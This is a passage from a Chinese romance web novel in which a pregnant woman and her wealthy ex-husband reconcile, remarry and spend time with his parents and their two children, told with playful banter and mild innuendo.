章芝纭深深叹息,骂了儿子几句,说:“怀孕身体不舒服,想不开也正常,咱们都别给她压力,只管对她好就成。她是个知冷知热的人,真要是觉着咱们好,生下孩子有盼头,就不会这么抗拒了。” 赵叙平:“行,我不逼她。” 隔天一早,赵叙平没去公司,亲自开车带周静烟去私人医院检查。 B超报告出来得快,上午便拿到结果。 看着报告单,周静烟眼前发黑,双腿发软,几乎站不住,煞白着脸靠在赵叙平身上。 赵叙平眉宇间洋溢出喜悦,搂着她亲了又亲。 医生交代注意事项时,周静烟什么也听不进,赵叙平倒是听得极认真,捧着手机专心记录重点。 回到车里,周静烟瘫靠在副驾椅背上,脸色发白,身子虚软,扭头呆呆望着窗外,一路什么也没说。 见她这样,赵叙平不敢多嘴,压抑着内心的狂喜。 回到老城区那套房子,周静烟进家就直奔卧室,砰地关上门。 赵叙平正要进去哄,母亲打来电话,他知道母亲想问什么,怕周静烟听到,没敢在客厅接,去了阳台,关上阳台门才接通电话。 母亲问他带周静烟上医院查了没有,他把结果告诉母亲,母亲的反应在他意料之中,自然是高兴得不得了,天呀地呀叫唤着,又喊来父亲,哭着把这个消息告诉父亲。 赵叙平没跟父母多说,赶紧挂了电话,想进屋哄人,发现卧室门已经反锁。 他叩了叩门,柔声开口:“宝宝,我想进来陪陪你。” “滚!”里头传来骂声。 赵叙平听出她哭了,心急如焚:“你要实在难受,我给你当出气筒,打我骂我都成,别自个儿躲屋里哭啊。” 里头仍是让他滚。 他拍拍门:“我不滚,我得陪着你,守着你。” 里面不吱声。 他又说:“宝宝,你让我进来,有什么事儿咱商量着来,成么?” “不成!” “那、那这孩子——” “不要!” 赵叙平脸色阴沉,头靠在门板上,无力叹息一声,打起精神又开始哄:“乖,先把门打开。” “不开!” “不开我出去喊了啊。” “喊什么?” “我就喊——周静烟,媳妇儿,求你原谅我!原谅肚子里的孩子!求你给我一个赎罪的机会!求你给这个孩子出生的机会!” 周静烟正躺着,听到这话,立马起身,冷着脸走向门口。 她信赵叙平做得出这种事,毕竟这人脸皮厚如城墙,为达目的誓不罢休,区区脸面算什么?更何况丢的主要还是她的脸! 打开门,周静烟转身又往回走,躺床上闭着眼,听到脚步声停在床前,她捞起被子蒙住脸。 赵叙平将被子扯下,抓着她手腕,将她拽起坐着,搂她入怀。 “不许再把脸蒙被子里,憋坏了怎么办?” 她仰起脸,眉眼间浮现幽怨,含着泪问:“你是担心孩子,还是担心我?” “废话,当然是担心你!”赵叙平指腹轻轻揉按她紧蹙的眉心,叹息,摇了摇头,“你啊,总是这么没有安全感。不过也怪我,没给够你安全感。” 她忽地哭出声,脸埋进他胸膛,含糊不清说道:“赵叙平,我害怕……” 赵叙平听明白了,柔声问:“怕什么?” 她胸口起伏着,哭了会儿才说:“怕打掉孩子,也怕把孩子生下来。” 赵叙平不禁笑道:“那怎么办,又不能跟哪吒妈似的,一怀怀三年。” 周静烟攥拳捶他:“都什么时候了,你还贫!” 他握住这只手,亲了手背好几下,腆着脸笑:“错了错了,咱们说正经的。” “做手术伤、伤身体,也很、很残忍……生下来我、我又怕跟你掰扯不清……”她哭得一抽一抽,话也断断续续。 赵叙平捧起她的脸,眨了眨眼,目光诚恳望着她:“那咱们今天就掰扯清楚。你希望我怎么做,做到什么程度,你想要什么,不想要什么,统统说明白,我按照你的指使,能做的赶紧做,能改的赶紧改,成么?” 周静烟泪眼朦胧,看不清他,在他怀里听着这番话,心里踏实许多,想了好一会儿,小声开口:“其实我也说不清自已到底想要什么,我只是……只是不想再受从前那种苦了。” 赵叙平:“以前我不跟你说甜言蜜语,我改,以后成天跟你说。” 周静烟:“以前还总喜欢晾着我!” 赵叙平举手发誓:“以后绝不可能这样,你的电话我秒接,你的消息我秒回,时刻把你捧手心。” 周静烟破涕为笑:“油嘴滑舌!” 赵叙平也乐了,亲亲她:“你不就喜欢这样的么?有时候真搞不懂你们女人。” 周静烟掰着手指数他曾经的罪过:“以前喝了酒就知道使唤我。” 赵叙平捏捏她的手,拿起来吻了吻:“以后换我伺候你,你喝不喝酒我都伺候你。” 周静烟抬眼,憋着笑问:“那要是你喝醉了呢?” 赵叙平:“别管我,我这么大个人了,还喝得醉醺醺回来,像话么?就该罚我睡地上!” 周静烟乐出声,食指在他鼻尖点了点:“这可是你说的哦,真要喝醉了,我是不会允许你上床的。” 赵叙平郑重点头:“别让我上床,千万别,我喝醉了就乐意睡地上,地上凉快。” 周静烟笑得止不住:“真受不了你这人!” 他搂着她细腰,薄唇轻轻啄一下她脑门儿:“开心了?” 她不肯承认,唇角却藏不住情绪,低头沉默。 那双薄唇寻过来,在她脸颊来回轻蹭。 “宝宝。” 她扭扭身子:“别叫我宝宝,肉麻!” 赵叙平笑了:“听我说情话的时候又不嫌肉麻了?” 周静烟抬眸望着他,正色道:“先跟你丑话说在前,我只是看在肚子里这个孩子的份上,对你态度好点儿,别以为我有多爱你。” 赵叙平紧握住她的手,眉眼笑意浮现:“你愿意要这个孩子,我都谢天谢地了。” 周静烟撇撇嘴:“我要这个孩子,也不是因为爱你,只是不想——” “我知道。”他又吻了吻她额头,“不用多说,我都知道。咱们先这么过着,爱不爱的,以后再看。我已经……” 赵叙平哽咽,深吸一口气,才说得下去:“我已经不敢奢望你的爱了。” 她愿意留下孩子,愿意为了孩子回到他身边,对他而言,就是天大的喜事。 “周静烟。” “嗯?” “咱俩明天领证去。” “算、算了吧。” “不能算了,为了肚子里的孩子,咱俩也必须领证。” 周静烟陷入沉默。 赵叙平等她开口等了许久,总也等不到,耐不住性子,沉声问:“犹豫什么呢?” 她摇摇头:“不知道……心里就是怕,怕这次复婚,下次又离,再想结,我就是三婚了!” 赵叙平攥紧她的手:“三婚就三婚,三婚也得嫁我。你周静烟生是我的人,死是我的鬼。” 她想抽出手,使出浑身力气也抽不出,泪汪汪任他握着,委屈得要命:“你这霸道性子,这辈子也改不了了!” 赵叙平扯扯唇:“别的事儿可以商量,这事儿没得商量。我就霸道了,怎么着?你前面生了俩都是我的,现在肚里怀着我的种,咱俩这辈子还真就扯不清了。” 周静烟最烦他这副样子,揪住他耳朵:“看看看,现原形了吧!” 他脑袋顺着她的手往外挪,直喊疼。 她刚松开他耳朵,又往他脸上扇一巴掌:“疼就对了,看你长不长记性。” 赵叙平俊脸凑过来,唇边漾开笑意:“要不再扇扇这边?” “我嫌手疼!” “给你吹吹。”他抬起周静烟手掌,冲着手心吹了吹,把她手心往自已脸上放,啪啪扇了两下,“力道够不够?不够我再使点儿力。” “好啦!”周静烟抽出手,睨他片刻,背过身子娇嗔,“没个正型儿!” 赵叙平乐呵呵绕到她面前,捧起她的脸揉了揉:“那你是不知道,你男人在外面多有正型儿,他也就只跟你闹一闹。” 周静烟别过脸不看他。 他低下头,仰起脸,俊脸往她脸上怼,抵着她鼻尖笑道:“周静烟,只有在你跟前,我才能像个小孩儿。” 周静烟缩缩脖子,垂眼瞧着他:“哟,做个小孩儿,光荣呀你!” 他笑意不减,厚着脸皮又将脸怼过来:“我不光荣,你光荣。咱们烟烟多能耐啊,首富在她跟前当小孩儿呢。” 周静烟憋着笑抬手:“我还能扇首富巴掌呢!” “哎,对对,扇完首富还给钱。周静烟,打今儿起,你扇我一巴掌,我给你十万当奖励。”他攥着她的手往自已脸上拍,立马掏出手机,点开微信给她转去十万。 周静烟乐得笑出声,掌心抵在他心口,轻轻推了推:“亏你想得出来!” 俩人笑作一团。 过了会儿,周静烟收起笑容,严肃说道:“我想跟你商量个事儿。” 赵叙平:“你跟我说事儿,怎么能叫商量?直接命令就成。” 周静烟忍俊不禁,捶他一下:“好啦,说正事儿。听雨和云生马上要过生日了,我不希望你办生日宴。” “为什么?” “咱俩纠缠来纠缠去,够丢人了,干嘛这么高调?” 赵叙平轻笑:“这有什么丢人的?这种事儿多了去,咱俩还算好的。” 周静烟噘噘嘴:“那我也不想这么高调。孩子还小,尤其是云生,现在已经有了虚荣的苗头,我可不想他知道自已家里特有钱,然后到处摆谱,我怕把他养歪了。” 赵叙平拍着她后背安抚:“没事儿,云生那小子,多管教管教就成。” 周静烟挑眉:“你管教得了?他听你的?” 赵叙平愣了愣,干咳一声掩饰尴尬,扭头看着窗帘:“大点儿兴许能教教规矩。” 周静烟:“得了吧,现在他都不服你,长大了能服你?他这么点儿大,目标就是当老板赚大钱,现在你为他办个生日宴,铺张浪费,他只会有样学样,以后说不定成天烧钱,你赚多少都不够他烧的!” 赵叙平仔细想想,觉得这话也对,笑着捏捏她鼻尖:“还是媳妇儿会管教孩子。” 周静烟啐他,扭过身子:“滚一边去!没领证呢,谁是你媳妇儿。” 他从背后搂住她,脸搭在她肩膀,面上幸福洋溢:“早晚都得是。” 赵叙平赶在晚饭前带周静烟回到父母那去。 章芝纭又惊又喜,握着周静烟的手,想问怀孕的事,又怕那两个小家伙听到,连说了几声“好”,扭头冷脸怨儿子:“来也不打声招呼,我都没准备静烟爱吃的菜!” 赵叙平笑笑:“我俩临时起意要来,说好了,不提前告诉您,省得您费心做饭。” 周静烟也笑笑:“阿姨,以后我过来,您别亲自做饭了,怪累的。” 章芝纭握紧她的手,晃了晃,满脸笑容:“那怎么行?我现在浑身力气没处使,恨不得一天伺候你二十四小时!” 来之前赵叙平告诉周静烟,母亲知道她怀孕这事儿,她怪他管不住嘴,又想着既然人家已经知道了,便不再扭捏,只是警告他,暂时别让两个小家伙知道。 孩子们已经转学到外国语幼儿园,平时住爷爷奶奶这,周末周静烟来看他俩。 今天不是周末,俩孩子放学回家,见周静烟来了,高兴得跳起来,围着她要抱抱。 赵叙平一手抱起一个:“妈妈最近身体不舒服,别让妈妈抱了。” 周听雨的大眼睛里满是担忧:“妈妈怎么啦?是不是生病了?” 赵叙平看一眼周静烟,又看一眼母亲,强压下嘴角:“妈妈只是——有点儿犯懒,让妈妈歇歇。” 周听雨嘟嘟嘴,叹气:“好吧……妈妈真懒!” 周云生立马替母亲说话:“奶奶说过,妈妈有爸爸疼,所以妈妈犯懒也没什么。” 周静烟俏脸微红,偷摸看了看章芝纭,没作声。 章芝纭瞧着一家子其乐融融,高兴得想哭。 吃饭时,章芝纭是全家最紧张的一个,目光盯着周静烟,一会儿问:“这个吃着难受吗?”一会儿问:“这个吃着犯不犯恶心?”一会儿又问:“喜欢吃这个是吧?明天还想吃么?” 赵叙平叹气:“妈,您安心吃饭吧,静烟吃什么不吃什么,自已心里有数。” 章芝纭瞥瞥他:“我不像你,心大!我得仔细照顾静烟。” 话音刚落,章芝纭又怕自已这么一说,周静烟会对儿子有意见,赶忙又开口:“不过话又说回来,你照顾人也挺仔细的,偶尔考虑不周,可以谅解。” 周静烟噗嗤笑出声,赵叙平也跟着乐。 章芝纭有些不好意思,低头笑了笑:“嗐,我就是高兴,高兴!” 周云生好奇:“奶奶,你高兴什么呀?” 章芝纭满眼慈爱看着孙子:*“以后你就知道了。” 周云生:“你是不是中彩票啦?” 这回大家都乐出声,周云生以为真是这样,举着手叫道:“耶!我奶奶中彩票啦!我们家发大财啦!” 周静烟忍不住放下碗筷,捏捏他的脸蛋:“小财迷!” 赵天成笑道:“云生确实爱财,可他一点儿也不抠门,昨晚睡前还跟我说,以前要给我买车买房,带我出国旅游。” 赵叙平乐了:“车房你爷爷都不缺,全世界差不多去了个遍。” 周云生瞪大眼睛看向爷爷:“您有多少房子和呀?” 赵天成笑呵呵:“记不清了,确实挺多。” 周云生:“那您给我点儿呗!” 章芝纭逗他:“你要这么多车和房子干嘛?” 周云生理直气壮:“给我媳妇儿!” 大家都快乐疯了,一个个放下筷子,捂着肚子笑。 赵叙平问:“知道什么是媳妇儿么你?” “知道呀,”周云生指着母亲,“妈妈就是你媳妇儿!” 周静烟瞬间红了脸,憋着笑瞪他。 他冲父亲扬扬下巴:“是不是呀?” 赵叙平立马点头:“是,必须是,太是了。” 周静烟在桌底下暗暗踩这人一脚。 赵叙平扭头瞧她,满眼都是笑。 饭后,章芝纭着急忙慌要跟周静烟出去散步,刚来到园子,章芝纭便说道:“你怀孕这事儿叙平跟我说了,静烟,别怪他,是我追着问个没完,他不得已才告诉我的。” 周静烟浅浅笑了笑:“没关系,我既然决定生下来,大家早晚都会知道。” 章芝纭神色欣慰,握住她的手,问:“叙平发消息跟我说,你俩明天领证,这回真想好了?” 周静烟望向远方,目光注视着火红落日,沉默好一会儿,轻轻开口:“阿姨,我不希望这个孩子像哥哥姐姐那样,一出生就没有爸爸。” 这话听得章芝纭眼眶湿润,连忙点头:“是,是,既然叙平在,怎么着都得让他尽到父亲的责任。” 说完,章芝纭想起什么,冲着她笑道:“还管我叫阿姨?” 周静烟红了脸,低头叫了声“妈妈”。 章芝纭连忙点头,拍拍她手背:“这就对喽!早该改口了。妈掏心窝子跟你说一句,你这个儿媳妇啊,可比儿子让我称心!” 周静烟希望他们母子关系好,便替赵叙平说话:“叙平是个孝顺孩子,只不过有时候嘴硬,不爱把好话挂嘴边。” “他说话哪有你中听?哎,可算把你给盼回来……”章芝纭不禁落泪,“想不到我一把年纪了,还能等到今天……” 周静烟抱住她,轻拍着她后背,安抚道:“您别哭呀,我这不是要回来了么!往后咱们一家子好好过。我答应叙平复婚,主要是为了孩子,也为了您和爸爸。” 章芝纭抹抹泪,破涕为笑:“有生之年,你还愿意回来做我的女儿,真好。” 周静烟红了眼,泪水止不住:“您和爸爸不计前嫌,愿意对我好,是我最大的福分……” 一想到逝去多年的伊伊,她就愧疚不已。 章芝纭明白她心里在想什么,摇摇头,面露微笑:“活着的人,就该好好活着,如果让自已活在仇恨中,对不起的,只有自已。” 章芝纭捧着她脸颊,隔着泪水望她,恍然间,仿佛看到了许久未见的女儿。 “我都放下了,希望你也是。”章芝纭紧紧拥抱周静烟,笑中含泪,温柔说道。 天边,晚霞温柔,园中这一幕,温暖如油画。 明天还要上学,两个孩子早早睡下。 赵叙平在书房跟父亲聊完,回到卧室,见周静烟正站在落地窗前,走过去,从背后抱住她。 “想什么呢?”他问。 “发呆。”周静烟笑了笑,“爸爸跟你说什么了?” 赵叙平正要回答,忽地一愣,轻轻吻一下她光滑的颈侧:“明儿才领证呢,今天就改口了?” 周静烟扭头瞪他:“敢惹我生气,当心我今晚改主意!” 他急忙笑着哄:“得得得,祖宗诶,我错了。” 周静烟转脸看窗外,又问一遍:“爸爸跟你说什么了?” 赵叙平搂在她腰间的手移到前面,轻抚着她腹部:“絮叨呗,嘱咐我这回结婚,不许跟以前似的,由着性子胡来。不许作,不许让你寒心。” 周静烟心里发暖:“就知道爸爸对我好。” 赵叙平来了劲,松开怀抱,扳过她身子,皱眉问:“我对你不好?” 她晃了晃脑袋,眼珠斜着往上看,笑得狡黠:“也就那么回事儿吧。” 赵叙平轻哼:“那您可得瞧好了,赶明儿领了证,看我怎么给您当奴才。” 她真真服了他这张嘴,噗嗤一笑,抬头定睛看着他。 “赵叙平,明天复了婚,你得给我当一辈子狗。” 他也乐了,点头:“得嘞,狗奴才给您请安!” 周静烟笑了好一会儿,抹抹眼角的泪,蹭到他衬衫上:“狗奴才不介意吧?” 赵叙平:“您就是窜稀窜到我身上,我也乐乐呵呵,那句话怎么说来着——‘雷霆雨露皆是君恩’!” 周静烟捧腹大笑,边笑边捶他:“恶不恶心呀你!” 赵叙平忽地抱起她,将她放床上,温柔地在她脸颊印下一个吻,跟她咬耳朵:“洗了么?” 她点点头,心里一紧,又赶忙摇头:“不行!现在还是危险期,不能——” 赵叙平笑着打断:“知道,我就问问。祖宗先睡,我去洗个澡。” 望着他走向浴室的背影,周静烟松了口气。 过会儿这人洗好出来,在她身旁躺下,见她睁着眼,戳戳她脸颊,问:“还不睡?” 她也戳戳他脸颊:“还早,睡不着。” 他笑了:“这阵儿不是挺能睡的么,明天领证,紧张?” 周静烟深吸一口气,转脸望向天花板,摇头:“也不是,就是感觉怪怪的。” 赵叙平:“哪儿怪?” 周静烟想了想,语气满是困惑:“怎么就又结婚了?怎么就又跟你结婚了!” 赵叙平抿着唇乐出声,俊脸贴贴她的脸,说:“当然是因为我不要脸啊。” 周静烟送他一对白眼儿:“你还知道呀!” 赵叙平:“人呐,只要够坚持,够不要脸,没什么事情办不成。” 周静烟笑笑,陷入沉默。 他也沉默半晌,忽然凑到她耳边,笑意温柔:“你说,老三叫什么名儿好?” 周静烟想了想:“得看是个丫头还是小子。” 赵叙平:“要不叫个比较中性的,丫头小子都能用,贼酷。” 周静烟:“你想到了?” 赵叙平一本正经胡说八道:“嗯,要不就叫——赵老三?” 周静烟还以为他会取个多好的名儿呢,一听到“赵老三”,气得拼命捶他:“真服了你个老六!你自已怎么不叫赵老六!” 赵叙平快笑岔气了,点着头说:“美丽的周静烟女士,为了证明我对您的爱,即日起,我愿意改名为赵老六。” 周静烟破功跟着一起笑,手上捶得更狠:“我明天就拿个大喇叭去公司这么叫你!” 赵叙平握住这只一顿乱捶的手,剑眉星目满是柔情。 他亲了亲她手背:“看见你笑,我心里特高兴。你小时候总哭,我总心疼,很早就想要逗你笑,又觉着咱俩不太熟,有点儿不好意思。” 周静烟靠进他怀里,轻声说:“其实我小时候挺怕你的。” 赵叙平:“怕我?为什么?” 周静烟:“你老打架呗,还打得那么猛,跟豹子似的,可吓人了。” 赵叙平笑道:“那是揍别人,又没揍你,怕什么?” 周静烟回忆起老早以前看过一次他揍人,那副凶狠模样,到现在都忘不了,吓得打了个寒颤。 赵叙平忽然想到一件事,说:“我还替你揍过人呢,知道么?” 周静烟怔住:“啊?” 他笑了笑:“你小学那会儿,隔壁班有一小子总欺负你,后来是不是消停了?” 周静烟立马想起来:“那个呀!对,他三年级转学过来,看我好欺负,就开始欺负我,没多久确实消停了。” 赵叙平屈着手指轻轻蹭一下她鼻梁:“哥哥替你揍的。” 周静烟惊讶:“那时候你都上初中了吧,咱俩不在一个学校,怎么——” “哥哥在你们小学有线人呗。”说完,赵叙平抬手打了个响指,“得亏平哥罩着你。” 周静烟忽然鼻酸,红着眼瞧他片刻,钻回他怀里:“我说怎么后来就岁月静好了呢,原来有人替我负重前行啊。” 赵叙平:“也不能说是负重前行吧,哥哥我完全乐在其中,揍人的乐趣,你不懂。” 周静烟仰脸大笑,脸颊忽然被他捧住。 “周静烟你记好,以后,我不会允许任何人欺负你,包括我自已。 “你还得记着,以后,你是有家的人了。有爸妈,有丈夫,有儿女——我们全家都替你撑腰。 “你是我最最珍贵的宝贝。我不会拿你去换全世界任何东西,但会为了换回你,放弃全世界。” 他抱着她,温柔而轻缓地吻起来。 他终于找回了他的烟烟。 他爱了那么那么多年的烟烟。 后来他的唇一直停在她脸上。她面颊挂着泪,他感觉自已像是在亲吻一株带露玫瑰。 玫瑰散发着诱人的芬芳。 他仿佛回到许多年前,站在她身后,遥望着这株风雨中的玫瑰,多么渴望捧起她,亲吻她,拥有她。 哪怕一刻,一刻就好。 玫瑰终究是他的玫瑰。 穿过漫长的时间河流,这一刻,他们十指相扣。 这一刻便是永久。 第64章 第64章【VIP】 这一晚,周静烟睡了极其香甜的一觉。 难得她比赵叙平先醒。天还没亮,她看看手机,五点过十分。她知道自己闭眼很快又能睡着,可她睁着眼,盯着赵叙平这张脸看了好一会儿L,想起小时候那些事。 小时候赵叙平就是孩子王,胆子大,能打还扛揍,她从没想过,原来自己曾经受过他的庇护。 她忽然从另一个视角明白了以前从未看过的真相——比起说,赵叙平更喜欢做,而且就算做了,也未必愿意说出来。 对于做过的好事,他不爱高调张扬,不会邀功讨赏。 从这一点看,他就是个实实在在的男人,给出的,也都是实实在在的好处。 他这人糙是糙了些,可也真爷们儿L。 周静烟仔细将他脸上每个角落瞧了个遍,对比从前,在他脸上发现了岁月的痕迹。这么多年过去,他的眼角已经有了细纹,眉宇间比往日更显沉稳威严,此刻的他,瞧着比同龄人年轻,比曾经的他稳重,面庞依然俊朗,哪怕只是看上一眼,依然叫她心动不已。 周静烟忍不住抬手,指尖顺着他高高的鼻梁轻轻滑动。 男人忽然握住这根手指。 她颤一下,笑弯了眼:“醒啦?” 男人也睁开眼,微微扯起一边唇角:“被哥哥帅晕了吧?” 周静烟抽出手指,几个指尖在他脸上点啊点,弹钢琴似的,满眼羡慕:“你怎么长这么好看啊,哪哪都好看,胖一点也好看,瘦一点也好看,怎么着都好看。” 赵叙平说出那句自恋的话,本想惹她害羞,被她这么一夸,自个儿L倒先不好意思了,抿着唇笑。 指尖移到他唇上。 “嘴唇也好看,薄薄的,自带唇线,轮廓简直完美。” 赵叙平噗嗤乐出声,握住她的手,往下带,碰着那里,痞笑着问:“这儿L好看么?” 周静烟红着脸飞快抽回手,捶他:“大清早就犯浑!” “太不严谨了,”他面色微沉,冷冷纠正,“我不仅是大清早犯浑,大晚上也犯浑,大白天也犯浑,只要跟你在一块儿L,我就忍不住。” 周静烟笑得不怀好意,抽回来的那只手,又往那里碰:“可惜接下来两个月,只能委屈你憋一憋了。” 他浅叹口气,将那只手按住:“没事儿L,又不是没别的法子。” 他捏捏那只手,又用自己另一只手,轻轻碰了碰她的唇。 “周静烟,你吃东西那小模样,特好看。” 周静烟哪会不知道这话什么意思,一听就明白,说是吃东西,怎么可能指的是正经东西,羞得她背过身去。 这人缠上来,抱着她低声开口:“今早吃豆浆油条吧。” 周静烟面若红霞,扭了扭肩:“自己吃去!” 赵叙平一脸坏笑:“我哪能吃油条啊,喝点小甜水儿L得了,哎你还真别说,小甜水儿L真甜,真好喝。” 周静烟翻过身,啪啪往他脸上乱扇:“要点脸吧你!” 他乐得抱紧她亲了亲,起身穿衣服:“不逗你了,快睡。” 还不到五点半,周静烟问:“起这么早干嘛?” 赵叙平:“俩孩子要上学呢,我给他们做顿早饭。” 周静烟:“幼儿L园包早饭的呀。” 赵叙平:“亲爹做的早饭,幼儿L园能比?” 周静烟笑了笑,心里想:自己这俩孩子真有福气,至少有个负责任的爹,不像她,打小就没得到过父亲的爱。 “你打算做什么?” “糊塌子,我小时候可喜欢吃了。我姥做这个一绝,咱妈也会,不过做不出我姥那个味儿L,妈一直挺后悔,以前姥姥在的时候,没学到她真传。” “这个我也喜欢,姥姥是不是加了别的料?” “不知,那会儿L我还小,光顾着吃,哪管怎么做。我看咱妈就是放盐和胡椒粉。” “你以前做过吗?” “没呢,今天头一次。” “噗——拿孩子练手来了!” 赵叙平也笑起来:“好赖都是亲爹做的,孩子懂我心意,肯定能吃完。” 周静烟打着哈欠闭上眼:“祝你成功吧。” 困意袭来,她翻身便睡着。 再醒来时已经九点,周静烟下楼见到章芝纭,章芝纭拉着她唠起来。 “今早叙平给俩孩子烙糊塌子,盐放成糖,胡椒粉放成孜然粉,还放了挺多,云生尝一口就吐了!听雨想着是爸爸做的,怕吐出来爸爸伤心,硬生生吃了两口,把自己都吃哭了。” 周静烟听完笑得直不起腰,章芝纭说这事儿L她乐到现在,想起来嘴就合不上。 “他自己没尝尝?”周静烟问。 ,也真是巧了,那会儿L来了个电话,他刚拿起筷子要尝,手机一震,呢,直接给俩孩子分完,也没想着先尝尝。” 周静烟想,最后哇的一声哭出来那画面,心疼又好笑。 章芝纭说道:“叙平打小让人伺候惯了,他有这份心,愿意照顾孩子,怎么都比那些成天不着家,不管孩子的男人强。别看他现在做不好饭,给他点时间慢慢练,日子久了,熟能生巧。” 妈,我知道叙平的好。” 章芝纭脸上乐开花:“妈希望你俩好好过,帮他说好话呢。” 周静烟问 章芝纭指着楼上:“在书房工作,说是等你起床,你俩就领证去。你先把早饭吃了,等会儿L我打电话叫他。” 吃完早饭,周静烟见赵叙平从电梯里出来,憋着笑瞧他。 赵叙平一看她这样儿L,就知道母亲肯定把那事跟她说了,摸摸鼻子,望着别处开口:“头回做没经验。” 周静烟挽上他手臂:“得亏我睡了个回笼觉,逃过一劫!” 赵叙平仰头想了想,说:“下午我试试包饺子吧?” 不等周静烟开口,章芝纭笑着推他一把,撵人:“赶紧领证去!糊塌子都做不明白,还想包饺子!快去快回,早点儿L回来吃午饭!” 俩人手挽手出门,上了车,周静烟默默坐着,许久都不说话。 赵叙平暗自瞧她,她脸上神情淡淡的,看不出喜怒,赵叙平有些心慌,握住她的手,将她手掌搭在自己腿上,试探道:“马上又要领证了,现在什么心情?” 周静烟正发呆,没听清,扭脸懵懵地看着他。 “啊?” 赵叙平又问一遍。 她低头盯着鞋尖,自己也说不清到底什么心情。 良久,她轻声唤道:“赵叙平。” “怕了?”他捏捏她的手。 她摇摇头,目光落到他脸上。 见她又不说话,赵叙平俊脸凑过去,吻了吻她脸颊:“叫我干嘛?” 周静烟将头靠在他肩膀上,望着车窗外:“总感觉现在像是在梦里。” 赵叙平笑道:“就当人生是一场梦好了。” 周静烟面露哀伤:“万一梦醒了呢?” 赵叙平揽住她,与她十指相扣:“如果你喜欢这场梦,我就不会让它醒。” “原来哥哥这么会说情话啊。”周静烟仰脸看他,眼睛亮亮的,像是有星星。 赵叙平亲一口她嘴唇:“以前总想着,没必要这么肉麻,现在想开了,此时不说,更待何时?” 整个领证过程,周静烟的心情和上回完全不同。 她茫然地按照指示行动,身子轻飘飘的,仿佛真是在梦里,脚下踩的是棉花。 离开婚姻登记处,赵叙平盯着妻子瞧了许久。 烈日当空,晒得周静烟有些躁,她见他这副癞皮狗似的模样,烦得紧,情绪上来了,心想要不是为了孩子,压根不乐意理他。 “多大年纪了,别给我玩情窦初开这套!”她冷着脸睨他一眼。 赵叙平握住她柔软的手,笑得那叫一嘚瑟:“周静烟,老子以前为你情窦初开,现在为你情窦乱开!” 上车后,赵叙平不停翻看小红本儿L,一会儿L开,一会儿L合,惹得周静烟心烦,伸手盖住,打趣道:“有什么好看的嘛,再看就给看烂了!” 赵叙平抓着她的手猛亲好几口,笑出一脸不值钱的样儿L:“咱老百姓,今儿L个真高兴!” 回到父母那,母亲也拿着小红本儿L翻来覆去看,眼一热,又开始落泪。 “想当年你俩第一次领证,刚知道那会儿L,我还盼着你俩离呢。你俩真离了,我又盼着你俩复婚,本以为再也不可能,没想到……没想到真让我等到这一天了。” 章芝纭抹抹泪,掏出一个厚厚的红包递过去。 “来,静烟,这是你的改口费。” 周静烟愣了愣,赶忙摇头:“这怎么行?我不能收……” 赵天成乐呵呵也掏出一个红包,比妻子那个还厚。 他将红包塞进周静烟手里:“收着吧,孩子,这是我跟你妈都盼着你俩长长久久,你俩好了,咱们一家才算好,我俩也能安享晚年了。” 赵叙平抬起胳膊肘碰碰她:“媳妇儿L,拿着,拢共也没多少钱。” 周静烟瞪他:“瞧你这话说得,爸妈给的已经很多了,而且这是心意!” 赵叙平直接替她收下红包,当场开拆,两沓现金合到一起,全都往她怀里塞:“收好了啊,等会儿L咱们拿这钱买巧克力去。” 周静烟笑出声。 章芝纭纳闷:“没吃过巧克力啊?” 赵叙平后背往椅背上靠,歪着脑袋冲母亲扬扬下巴:“您不懂,这是我俩之间的一种情趣。” 说完,他扭头看向周静烟,冲她招招手。 周静烟将耳朵伸过去,听他小声开口:“哥哥成箱成箱给你买,以后再也不用省着吃了,永远吃不完。” 周静烟心跳如鹿,害羞轻轻捶他一下。 章芝纭和丈夫你看我我看你,不禁皱了皱眉,脸上神情复杂,既深感欣慰,又难免有些嫌弃,摇头啧啧道:“要不你俩回屋腻歪去吧,我跟你爸岁数大了,血糖高,看着齁得慌!” 这话叫周静烟羞得捂脸,赵叙平倒是笑得欢,起身打横抱起她,走之前还不忘说一句:“实在不行打打胰岛素吧。” 周静烟脸埋在他胸膛,笑着伸手摸到他脸颊,轻轻一巴掌扇过去,赵叙平低头小声说:“回屋再收拾你。” 回到房间,腻歪了一阵儿L,周静烟嫌在家里待着闷,提议出去逛逛,赵叙平有求必应:“行,出去给你买衣服。” 她摇摇头:“不想,衣服够多了,暂时不想买新的。” 赵叙平:“那买包去?” 她仍是摇头:“没意思。” 赵叙平笑了:“咱俩就纯逛啊?硬走呗,啥也不买?” 她想了一会儿L,挑挑眉:“刚才在楼下你不是说了么,要带我买巧克力!” 赵叙平:“网上买就行,说好了成箱成箱买,自个儿L搬多累啊。” 周静烟推推他胳膊:“走嘛,不用买这么多,咱们去超市,买点儿L巧克力,买点儿L糖果,再买点儿L其他零食,过两天在家给孩子办生日宴,请同学们上家里聚聚。” “这主意不错,到时候让阿姨再准备点儿L蛋糕,水果,牛奶,果汁……吃的喝的齐活了。”赵叙平捏着她两边脸颊,轻轻往外扯,“咱家静烟怎么这么聪明啊!” 周静烟鼓了鼓腮帮子,撇撇嘴:“以前你还老说我笨呢……” 赵叙平揉着她的脸,忍不住狠狠亲一口:“那是我有眼无珠,看不懂咱家烟烟的大智慧。” 被他夸成这样,周静烟起了鸡皮疙瘩,掌心在胳膊上来回滑动:“行了行了,过分了啊,再说下去就虚伪了。” 赵叙平搂住她,又亲一口:“自己媳妇儿L,怎么都夸不够。” 周静烟俏脸红透,缩缩脖子,躲开这双薄唇:“好啦,别磨蹭了,赶紧走吧!” 上车前,周静烟忽然瞥见车库里停着一辆自行车,嚷嚷着要赵叙平骑自行车载自己,赵叙平一口一个祖宗,直说不行。 “怎么不行?你不是会骑吗,小时候还见你撒开手呢,脚下蹬着车,俩手举得高高的,都给我看入迷了,觉得特帅,特厉害!” 赵叙平乐了:“这技能我现在也会,但不能使了,你想想啊,小时候你觉着炫酷,奔四的大老爷们儿L还这样,跟个傻缺似的。” 周静烟挽着他撒娇:“那你正儿L八经好好骑,我坐后面抱着你。” 赵叙平摆摆手:“别想了,摔着怎么办?把你摔伤了,孩子再出什么事儿L,这个家我是别想回了。” 这点周静烟倒是没想到,听他这么一说,也有些怕,点头作罢。 两人上了车,坐进后座,周静烟靠在他怀里,闭眼回忆从前。 “有一年夏天,你骑着自行车从我面前路过,双手揣兜,都不用握方向盘呢!” 赵叙平想起那画面就好笑,摇了摇头:“那是故意在你跟前装逼,小男孩儿L就这样,你不觉着特傻?” 周静烟一脸陶醉:“现在想想是挺二的,小时候可不这么觉得,那会儿L只觉得好厉害,还觉得你像——” 